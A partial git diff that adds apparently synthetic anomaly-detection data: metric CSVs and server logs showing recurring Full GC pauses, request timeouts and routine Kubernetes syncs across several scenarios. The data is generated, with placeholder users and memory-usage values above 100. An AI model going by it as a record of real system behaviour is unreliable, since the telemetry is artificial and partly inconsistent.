completed. +Aug 23 10:03:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.609237 secs] +Aug 23 10:03:40 app-server[1123]: INFO: GET /api/v1/healthcheck 200 OK +Aug 23 10:03:55 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2308ms. +Aug 23 10:03:55 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.773521 secs] +Aug 23 10:04:00 app-server[1123]: DEBUG: Processing batch job #12345 +Aug 23 10:04:20 app-server[1123]: INFO: Database connection established. +Aug 23 10:04:25 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2009ms. +Aug 23 10:04:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.061269 secs] +Aug 23 10:04:40 app-server[1123]: INFO: Scheduled task 'daily-report' completed. +Aug 23 10:04:55 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.603818 secs] +Aug 23 10:05:00 app-server[1123]: INFO: Scheduled task 'daily-report' completed. +Aug 23 10:05:20 app-server[1123]: INFO: Database connection established. +Aug 23 10:05:25 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 1796ms. +Aug 23 10:05:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.197158 secs] +Aug 23 10:05:40 app-server[1123]: DEBUG: Processing batch job #12345 +Aug 23 10:05:55 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2017ms. +Aug 23 10:05:55 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.784922 secs] +Aug 23 10:06:00 app-server[1123]: INFO: Database connection established. +Aug 23 10:06:20 app-server[1123]: INFO: User 'admin' logged in successfully. +Aug 23 10:06:25 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2340ms. +Aug 23 10:06:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.252818 secs] +Aug 23 10:06:40 app-server[1123]: DEBUG: Processing batch job #12345 +Aug 23 10:06:55 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 2.060743 secs] +Aug 23 10:07:00 app-server[1123]: INFO: Scheduled task 'daily-report' completed. +Aug 23 10:07:20 app-server[1123]: INFO: Database connection established. +Aug 23 10:07:25 app-server[1123]: WARN: Request to /api/v1/process-data timed out after 2269ms. +Aug 23 10:07:25 jvm[1123]: [Full GC (Ergonomics)] [PSYoungGen: 512144K->0K(512152K)] [ParOldGen: 1048570K->812345K(1048576K)] 1560714K->812345K(1560728K), {Metaspace: 112345K->112345K(123456K)}, 1.937521 secs] diff --git a/anom_dataset/scenario_15/anom_15_7.csv b/anom_dataset/scenario_15/anom_15_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..bea462f3d13f1e4f9354d5cf349f89ca72d3f4f2 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_7.csv 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+2025-07-15T14:07:25Z,21.539802299340067,55.485927266905136,25.522962309144365,1.0345538112895354,1.2881572956222096 diff --git a/anom_dataset/scenario_15/anom_15_7.log b/anom_dataset/scenario_15/anom_15_7.log new file mode 100644 index 0000000000000000000000000000000000000000..9edaf0906d8adede719ebc882e39f6a128e6aeeb --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_7.log @@ -0,0 +1,57 @@ +Jul 15 14:00:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:00:00 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:00:20 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:00:35 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:00:40 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:01:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:01:00 jvm[1123]: INFO [GC (Allocation Failure) [PSYoungGen: 1896M->417M(2048M)] 1896M->417M(2048M), 1.4137 secs] +Jul 15 14:01:03 app-server[1123]: WARN Request timeout for user_id=12345, endpoint=/api/v1/heavy_computation +Jul 15 14:01:08 app-server[1123]: ERROR Upstream service 'payment-processor' connection timed out after 5000ms +Jul 15 14:01:10 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:01:20 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:01:40 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:01:45 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:02:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:02:00 jvm[1123]: INFO [GC (Allocation Failure) [PSYoungGen: 1958M->346M(2048M)] 1958M->346M(2048M), 1.3749 secs] +Jul 15 14:02:03 app-server[1123]: WARN Request timeout for user_id=12345, endpoint=/api/v1/heavy_computation +Jul 15 14:02:08 app-server[1123]: ERROR Upstream service 'payment-processor' connection timed out after 5000ms +Jul 15 14:02:20 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:02:20 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:02:40 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:02:55 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:03:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:03:00 jvm[1123]: INFO [GC (Allocation Failure) [PSYoungGen: 2015M->479M(2048M)] 2015M->479M(2048M), 1.3925 secs] +Jul 15 14:03:03 app-server[1123]: WARN Request timeout for user_id=12345, endpoint=/api/v1/heavy_computation +Jul 15 14:03:08 app-server[1123]: ERROR Upstream service 'payment-processor' connection timed out after 5000ms +Jul 15 14:03:20 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:03:30 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:03:40 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:04:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:04:00 jvm[1123]: INFO [GC (Allocation Failure) [PSYoungGen: 1956M->435M(2048M)] 1956M->435M(2048M), 1.0781 secs] +Jul 15 14:04:03 app-server[1123]: WARN Request timeout for user_id=12345, endpoint=/api/v1/heavy_computation +Jul 15 14:04:05 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:04:08 app-server[1123]: ERROR Upstream service 'payment-processor' connection timed out after 5000ms +Jul 15 14:04:20 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:04:40 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:04:40 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:05:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:05:00 jvm[1123]: INFO [GC (Allocation Failure) [PSYoungGen: 1846M->367M(2048M)] 1846M->367M(2048M), 0.9049 secs] +Jul 15 14:05:03 app-server[1123]: WARN Request timeout for user_id=12345, endpoint=/api/v1/heavy_computation +Jul 15 14:05:08 app-server[1123]: ERROR Upstream service 'payment-processor' connection timed out after 5000ms +Jul 15 14:05:15 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:05:20 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:05:40 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:05:50 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:06:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:06:00 jvm[1123]: INFO [GC (Allocation Failure) [PSYoungGen: 1929M->454M(2048M)] 1929M->454M(2048M), 1.3056 secs] +Jul 15 14:06:03 app-server[1123]: WARN Request timeout for user_id=12345, endpoint=/api/v1/heavy_computation +Jul 15 14:06:08 app-server[1123]: ERROR Upstream service 'payment-processor' connection timed out after 5000ms +Jul 15 14:06:20 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:06:25 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:06:40 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:07:00 app-server[1123]: INFO Processing request for /api/v1/data +Jul 15 14:07:00 app-server[1123]: INFO User 'admin' logged in successfully +Jul 15 14:07:00 jvm[1123]: INFO [GC (Allocation Failure) [PSYoungGen: 2042M->463M(2048M)] 2042M->463M(2048M), 1.2488 secs] +Jul 15 14:07:03 app-server[1123]: WARN Request timeout for user_id=12345, endpoint=/api/v1/heavy_computation +Jul 15 14:07:08 app-server[1123]: ERROR Upstream service 'payment-processor' connection timed out after 5000ms +Jul 15 14:07:20 app-server[1123]: INFO Processing request for /api/v1/data diff --git a/anom_dataset/scenario_15/anom_15_8.csv b/anom_dataset/scenario_15/anom_15_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..50aa62b9419c45ee97c96d5ef44f5deb5ef7c1b9 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,22.98,43.93,28.27,1.62,1.75 +2025-07-15T14:00:05Z,21.1,46.78,21.95,1.73,1.97 +2025-07-15T14:00:10Z,20.57,48.97,23.55,1.28,1.77 +2025-07-15T14:00:15Z,22.74,53.24,28.29,1.75,2.01 +2025-07-15T14:00:20Z,22.74,55.46,23.28,1.59,1.76 +2025-07-15T14:00:25Z,19.56,59.18,27.85,1.25,1.73 +2025-07-15T14:00:30Z,21.0,63.43,27.5,1.48,2.26 +2025-07-15T14:00:35Z,18.26,67.88,28.45,1.27,2.19 +2025-07-15T14:00:40Z,22.69,71.98,25.06,1.2,1.81 +2025-07-15T14:00:45Z,19.45,75.42,28.93,1.55,2.03 +2025-07-15T14:00:50Z,19.93,80.18,27.14,1.61,2.24 +2025-07-15T14:00:55Z,20.56,83.51,22.75,1.6,2.23 +2025-07-15T14:01:00Z,96.07,47.35,3.38,0.44,0.22 +2025-07-15T14:01:05Z,89.92,49.36,2.6,0.36,0.57 +2025-07-15T14:01:10Z,93.97,49.97,5.03,0.18,0.22 +2025-07-15T14:01:15Z,18.65,53.86,23.41,1.4,1.9 +2025-07-15T14:01:20Z,21.91,58.21,23.63,1.6,2.01 +2025-07-15T14:01:25Z,17.74,61.22,28.16,1.72,2.01 +2025-07-15T14:01:30Z,22.82,64.34,26.64,1.59,1.91 +2025-07-15T14:01:35Z,18.64,66.91,25.95,1.32,1.87 +2025-07-15T14:01:40Z,19.87,71.36,26.31,1.32,1.91 +2025-07-15T14:01:45Z,22.19,73.65,29.65,1.45,1.76 +2025-07-15T14:01:50Z,19.06,77.69,29.45,1.74,1.72 +2025-07-15T14:01:55Z,18.77,80.05,29.45,1.76,1.94 +2025-07-15T14:02:00Z,20.1,84.42,29.35,1.77,2.07 +2025-07-15T14:02:05Z,17.63,88.07,29.29,1.42,2.3 +2025-07-15T14:02:10Z,18.09,92.43,29.19,1.7,1.97 +2025-07-15T14:02:15Z,22.8,94.67,20.62,1.44,1.93 +2025-07-15T14:02:20Z,17.08,97.05,25.15,1.59,2.18 +2025-07-15T14:02:25Z,17.4,99.67,27.52,1.58,1.95 +2025-07-15T14:02:30Z,93.49,49.23,6.08,0.25,0.2 +2025-07-15T14:02:35Z,90.83,49.43,5.53,0.15,0.24 +2025-07-15T14:02:40Z,90.64,47.4,4.9,0.28,0.56 +2025-07-15T14:02:45Z,20.47,51.01,21.21,1.46,2.18 +2025-07-15T14:02:50Z,21.43,53.66,26.57,1.69,2.29 +2025-07-15T14:02:55Z,20.45,58.02,20.03,1.62,1.81 +2025-07-15T14:03:00Z,17.87,61.68,25.41,1.48,2.03 +2025-07-15T14:03:05Z,18.81,66.57,27.84,1.22,2.16 +2025-07-15T14:03:10Z,21.67,69.93,29.82,1.73,2.27 +2025-07-15T14:03:15Z,21.24,73.86,29.51,1.38,2.19 +2025-07-15T14:03:20Z,19.79,77.55,28.54,1.77,1.75 +2025-07-15T14:03:25Z,18.03,80.61,25.35,1.8,1.94 +2025-07-15T14:03:30Z,17.19,83.03,23.92,1.43,1.99 +2025-07-15T14:03:35Z,19.83,85.88,25.78,1.73,1.88 +2025-07-15T14:03:40Z,21.35,90.65,20.82,1.48,1.85 +2025-07-15T14:03:45Z,17.43,94.97,27.74,1.29,2.05 +2025-07-15T14:03:50Z,17.39,98.81,20.53,1.67,2.3 +2025-07-15T14:03:55Z,18.98,103.34,25.93,1.28,1.72 +2025-07-15T14:04:00Z,19.77,106.0,29.13,1.45,1.88 +2025-07-15T14:04:05Z,20.17,108.92,27.54,1.57,2.17 +2025-07-15T14:04:10Z,22.39,112.63,20.49,1.41,1.83 +2025-07-15T14:04:15Z,22.82,117.1,20.68,1.36,1.84 +2025-07-15T14:04:20Z,17.43,119.54,21.29,1.65,1.98 +2025-07-15T14:04:25Z,20.91,123.2,29.18,1.25,1.75 +2025-07-15T14:04:30Z,93.36,49.11,4.29,0.33,0.52 +2025-07-15T14:04:35Z,95.36,48.51,6.79,0.36,0.44 +2025-07-15T14:04:40Z,94.33,48.64,4.96,0.28,0.59 +2025-07-15T14:04:45Z,17.47,50.77,26.02,1.67,1.94 +2025-07-15T14:04:50Z,18.45,55.0,22.4,1.5,2.26 +2025-07-15T14:04:55Z,18.76,58.36,26.91,1.63,1.73 +2025-07-15T14:05:00Z,22.37,62.22,25.72,1.79,1.79 +2025-07-15T14:05:05Z,19.63,64.5,29.76,1.23,1.92 +2025-07-15T14:05:10Z,19.54,69.25,29.47,1.32,1.9 +2025-07-15T14:05:15Z,18.83,71.79,24.37,1.37,2.25 +2025-07-15T14:05:20Z,22.67,75.11,26.81,1.55,1.96 +2025-07-15T14:05:25Z,21.86,78.78,24.86,1.65,1.91 +2025-07-15T14:05:30Z,22.59,81.86,22.12,1.55,2.25 +2025-07-15T14:05:35Z,17.77,85.05,23.53,1.3,2.16 +2025-07-15T14:05:40Z,20.52,88.79,28.8,1.49,1.76 +2025-07-15T14:05:45Z,19.61,91.17,28.81,1.37,2.2 +2025-07-15T14:05:50Z,19.11,95.13,20.63,1.59,1.89 +2025-07-15T14:05:55Z,18.65,98.58,21.25,1.34,2.2 +2025-07-15T14:06:00Z,21.33,102.49,27.47,1.56,2.29 +2025-07-15T14:06:05Z,19.07,106.57,25.04,1.29,2.1 +2025-07-15T14:06:10Z,22.92,111.27,23.9,1.51,1.85 +2025-07-15T14:06:15Z,19.56,113.77,21.14,1.25,2.09 +2025-07-15T14:06:20Z,17.86,118.41,27.22,1.29,2.21 +2025-07-15T14:06:25Z,22.24,120.57,29.8,1.31,2.07 +2025-07-15T14:06:30Z,96.85,46.11,6.6,0.31,0.43 +2025-07-15T14:06:35Z,86.58,47.52,5.29,0.22,0.56 +2025-07-15T14:06:40Z,91.95,49.12,3.86,0.3,0.51 +2025-07-15T14:06:45Z,21.28,52.75,22.65,1.34,2.17 +2025-07-15T14:06:50Z,19.62,54.82,23.3,1.31,2.04 +2025-07-15T14:06:55Z,20.84,58.45,20.85,1.23,2.24 +2025-07-15T14:07:00Z,21.97,60.9,21.67,1.26,1.9 +2025-07-15T14:07:05Z,22.55,65.12,29.94,1.78,2.21 +2025-07-15T14:07:10Z,17.69,67.46,26.45,1.61,2.1 +2025-07-15T14:07:15Z,19.11,70.26,20.23,1.36,1.84 +2025-07-15T14:07:20Z,20.63,72.41,29.12,1.5,2.13 +2025-07-15T14:07:25Z,21.73,75.16,25.6,1.32,1.75 diff --git a/anom_dataset/scenario_15/anom_15_8.log b/anom_dataset/scenario_15/anom_15_8.log new file mode 100644 index 0000000000000000000000000000000000000000..c1e5ee07f00b0844ca4722c637bbe9c61d20505a --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_8.log @@ -0,0 +1,43 @@ +2025-07-15T14:00:00Z [app,info] INFO: routine sync completed for pod 'api-gateway-xyz' +2025-07-15T14:00:20Z [app,info] INFO: writing 256 records to database 'orders' +2025-07-15T14:00:40Z [app,info] INFO: routine sync completed for pod 'api-gateway-xyz' +2025-07-15T14:01:00Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2344ms +2025-07-15T14:01:03Z [app,warn] Request to '/api/v1/process' timed out after 2500ms +2025-07-15T14:01:05Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2351ms +2025-07-15T14:01:08Z [app,warn] Request to '/api/v1/process' timed out after 2520ms +2025-07-15T14:01:10Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 1737ms +2025-07-15T14:01:12Z [app,warn] Request to '/api/v1/process' timed out after 1822ms +2025-07-15T14:01:20Z [app,info] DEBUG: connection to 'redis-cache' successful +2025-07-15T14:01:40Z [app,info] DEBUG: connection to 'redis-cache' successful +2025-07-15T14:02:00Z [app,info] DEBUG: cache hit for key 'user:1234' +2025-07-15T14:02:20Z [app,info] INFO: routine sync completed for pod 'api-gateway-xyz' +2025-07-15T14:02:30Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2512ms +2025-07-15T14:02:33Z [app,warn] Request to '/api/v1/process' timed out after 2583ms +2025-07-15T14:02:35Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2498ms +2025-07-15T14:02:38Z [app,warn] Request to '/api/v1/process' timed out after 2697ms +2025-07-15T14:02:40Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2569ms +2025-07-15T14:02:43Z [app,warn] Request to '/api/v1/process' timed out after 2720ms +2025-07-15T14:03:00Z [app,info] INFO: user 'admin' logged in from 192.168.1.10 +2025-07-15T14:03:20Z [app,info] INFO: routine sync completed for pod 'api-gateway-xyz' +2025-07-15T14:03:40Z [app,info] DEBUG: cache hit for key 'user:1234' +2025-07-15T14:04:00Z [app,info] DEBUG: cache hit for key 'user:1234' +2025-07-15T14:04:20Z [app,info] DEBUG: cache hit for key 'user:1234' +2025-07-15T14:04:30Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2744ms +2025-07-15T14:04:33Z [app,warn] Request to '/api/v1/process' timed out after 2811ms +2025-07-15T14:04:35Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2568ms +2025-07-15T14:04:37Z [app,warn] Request to '/api/v1/process' timed out after 2635ms +2025-07-15T14:04:40Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2895ms +2025-07-15T14:04:43Z [app,warn] Request to '/api/v1/process' timed out after 3050ms +2025-07-15T14:05:00Z [app,info] INFO: GET /api/v1/healthcheck status=200 +2025-07-15T14:05:20Z [app,info] INFO: routine sync completed for pod 'api-gateway-xyz' +2025-07-15T14:05:40Z [app,info] INFO: writing 256 records to database 'orders' +2025-07-15T14:06:00Z [app,info] DEBUG: cache hit for key 'user:1234' +2025-07-15T14:06:20Z [app,info] INFO: routine sync completed for pod 'api-gateway-xyz' +2025-07-15T14:06:30Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 1999ms +2025-07-15T14:06:32Z [app,warn] Request to '/api/v1/process' timed out after 2054ms +2025-07-15T14:06:35Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2650ms +2025-07-15T14:06:38Z [app,warn] Request to '/api/v1/process' timed out after 2773ms +2025-07-15T14:06:40Z [gc,info] [GC (Allocation Failure)] Pausing threads for Full GC... Pause took 2851ms +2025-07-15T14:06:43Z [app,warn] Request to '/api/v1/process' timed out after 3001ms +2025-07-15T14:07:00Z [app,info] DEBUG: connection to 'redis-cache' successful +2025-07-15T14:07:20Z [app,info] INFO: GET /api/v1/healthcheck status=200 diff --git a/anom_dataset/scenario_15/anom_15_9.csv b/anom_dataset/scenario_15/anom_15_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..782cf99402c1f8be6554713da878ade57ceace68 --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_9.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,11.121259502829261,22.76236589709066,46.97671822506931,1.5316429487647327,1.1403710267856346 +2025-07-15T10:00:05Z,76.49252029842799,33.70112100884367,8.036716227328752,0.2622780827243222,0.15622854176954598 +2025-07-15T10:00:10Z,15.658617631201974,35.81032342939388,49.960590933049296,1.6363269753696843,1.2158006945104578 +2025-07-15T10:00:15Z,13.153098763323811,44.232613142810216,47.66643546427007,1.6271557103108454,1.5619282920526427 +2025-07-15T10:00:20Z,12.907790752959247,49.99144548710298,42.10079860463081,1.7095614150652336,1.4142999008128543 +2025-07-15T10:00:25Z,15.80104078353661,52.647332347079384,62.69917164696275,1.4174170446981207,1.3872056392250864 +2025-07-15T10:00:30Z,16.545258087674874,57.48207815563997,58.90864162036399,1.3951081288137877,1.1518563053645894 +2025-07-15T10:00:35Z,12.995387588080257,62.67604174398142,58.04920691405337,1.567184469476244,1.190069418775589 +2025-07-15T10:00:40Z,15.329628821928404,68.0830068238615,55.993603261744525,1.3007259174353731,1.1046013182458656 +2025-07-15T10:00:45Z,15.255034780380946,74.62350532018121,43.96426711570768,1.6784833953711111,1.3463222242099615 +2025-07-15T10:00:50Z,20.45819946845972,80.01914843387617,49.724956377303165,1.615802397888513,1.4005847746852833 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0000000000000000000000000000000000000000..bd9430ae0d57651b8e5f26ccd681c8ab9ffc073b --- /dev/null +++ b/anom_dataset/scenario_15/anom_15_9.log @@ -0,0 +1,35 @@ +Jul 15 10:00:00 app-server[1122]: GET /api/v1/health status=200 OK +Jul 15 10:00:00 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:00:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:00:35 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:01:00 jvm[1122]: [Full GC (Ergonomics) pause=1086.60ms, heap=3.5G->0.7G, meta=101M, time=1.30s] +Jul 15 10:01:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:01:05 app-server[1122]: GET /api/v1/health status=200 OK +Jul 15 10:01:10 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:01:45 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:02:00 jvm[1122]: [Full GC (Ergonomics) pause=1271.49ms, heap=3.8G->0.6G, meta=115M, time=1.24s] +Jul 15 10:02:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:02:10 app-server[1122]: GET /api/v1/health status=200 OK +Jul 15 10:02:20 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:02:55 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:03:00 jvm[1122]: [Full GC (Ergonomics) pause=1433.07ms, heap=3.7G->0.6G, meta=119M, time=1.80s] +Jul 15 10:03:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:03:15 app-server[1122]: GET /api/v1/health status=200 OK +Jul 15 10:03:30 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:04:00 jvm[1122]: [Full GC (Ergonomics) pause=1051.88ms, heap=3.8G->0.6G, meta=107M, time=1.41s] +Jul 15 10:04:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:04:05 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:04:20 app-server[1122]: GET /api/v1/health status=200 OK +Jul 15 10:04:40 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:05:00 jvm[1122]: [Full GC (Ergonomics) pause=1259.06ms, heap=3.7G->0.5G, meta=113M, time=1.36s] +Jul 15 10:05:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:05:15 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:05:25 app-server[1122]: GET /api/v1/health status=200 OK +Jul 15 10:05:50 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:06:00 jvm[1122]: [Full GC (Ergonomics) pause=807.83ms, heap=3.6G->0.6G, meta=102M, time=1.50s] +Jul 15 10:06:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout +Jul 15 10:06:25 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:06:30 app-server[1122]: GET /api/v1/health status=200 OK +Jul 15 10:07:00 app-server[1122]: INFO: User authentication successful for user 'testuser' +Jul 15 10:07:00 jvm[1122]: [Full GC (Ergonomics) pause=993.92ms, heap=3.7G->0.8G, meta=102M, time=1.36s] +Jul 15 10:07:05 app-server[1122]: GET /api/v1/data status=504 Gateway Timeout diff --git a/anom_dataset/scenario_16/anom_16_1.csv b/anom_dataset/scenario_16/anom_16_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..c4dc6b00b5199bc764ebe3ab911ac8849dd6a8b2 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,25.7,47.83,19.07,0.44,0.88 +2025-07-15T14:30:05Z,20.31,44.3,27.28,0.5,1.44 +2025-07-15T14:30:10Z,23.25,46.79,13.85,0.56,1.23 +2025-07-15T14:30:15Z,29.93,47.36,23.94,0.94,0.97 +2025-07-15T14:30:20Z,24.51,44.69,20.19,0.56,1.09 +2025-07-15T14:30:25Z,20.52,45.19,28.26,0.48,1.05 +2025-07-15T14:30:30Z,21.79,43.83,13.44,0.91,1.15 +2025-07-15T14:30:35Z,26.04,39.84,19.69,0.73,0.55 +2025-07-15T14:30:40Z,29.59,40.69,18.26,0.64,1.19 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+2025-07-15T14:34:05Z,21.01,45.91,18.96,0.57,1.35 +2025-07-15T14:34:10Z,26.56,45.64,20.84,0.75,1.01 +2025-07-15T14:34:15Z,22.46,48.11,18.2,0.74,1.09 +2025-07-15T14:34:20Z,23.65,44.24,23.03,0.88,0.89 +2025-07-15T14:34:25Z,26.07,47.86,15.51,0.81,1.25 +2025-07-15T14:34:30Z,21.51,46.98,20.83,0.76,1.07 +2025-07-15T14:34:35Z,26.26,42.42,20.28,0.74,1.07 +2025-07-15T14:34:40Z,30.79,44.35,17.88,0.81,1.6 +2025-07-15T14:34:45Z,26.18,43.37,13.39,0.83,0.99 +2025-07-15T14:34:50Z,28.7,46.56,24.0,0.93,1.06 +2025-07-15T14:34:55Z,19.37,45.64,16.65,1.03,1.26 +2025-07-15T14:35:00Z,29.07,45.21,13.43,0.76,0.97 +2025-07-15T14:35:05Z,21.11,46.44,20.25,0.58,1.4 +2025-07-15T14:35:10Z,25.66,46.25,21.28,0.61,1.38 +2025-07-15T14:35:15Z,22.2,44.2,24.8,0.87,1.15 +2025-07-15T14:35:20Z,28.32,46.64,25.6,0.85,1.71 +2025-07-15T14:35:25Z,22.84,47.01,19.37,0.64,1.22 +2025-07-15T14:35:30Z,23.19,41.93,22.34,1.18,1.07 +2025-07-15T14:35:35Z,23.12,44.18,27.45,0.88,1.93 +2025-07-15T14:35:40Z,26.17,45.8,18.08,0.58,1.85 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+2025-07-15T14:37:25Z,26.59,46.41,20.34,0.83,1.09 diff --git a/anom_dataset/scenario_16/anom_16_1.log b/anom_dataset/scenario_16/anom_16_1.log new file mode 100644 index 0000000000000000000000000000000000000000..87f42209ec8de19f61b54a1280b6d5ce98bfa002 --- /dev/null +++ b/anom_dataset/scenario_16/anom_16_1.log @@ -0,0 +1,101 @@ +Jul 15 14:29:50 systemd[1]: Started Session 100 of user admin. +Jul 15 14:29:55 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:30:00 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:30:05 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:30:10 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:30:15 kubelet[2108]: INFO Successfully probed container metrics-collector +Jul 15 14:30:20 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:30:25 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:30:30 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:30:35 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:30:35 nginx[1150]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:30:40 kubelet[2108]: INFO routine sync completed for pod web-app-instance-3 +Jul 15 14:30:45 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:30:50 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:30:55 kubelet[2108]: INFO routine sync completed for pod web-app-instance-2 +Jul 15 14:31:00 systemd[1]: Started Session 115 of user admin. +Jul 15 14:31:05 kubelet[2108]: INFO routine sync completed for pod web-app-instance-0 +Jul 15 14:31:10 kubelet[2108]: INFO routine sync completed for pod web-app-instance-1 +Jul 15 14:31:15 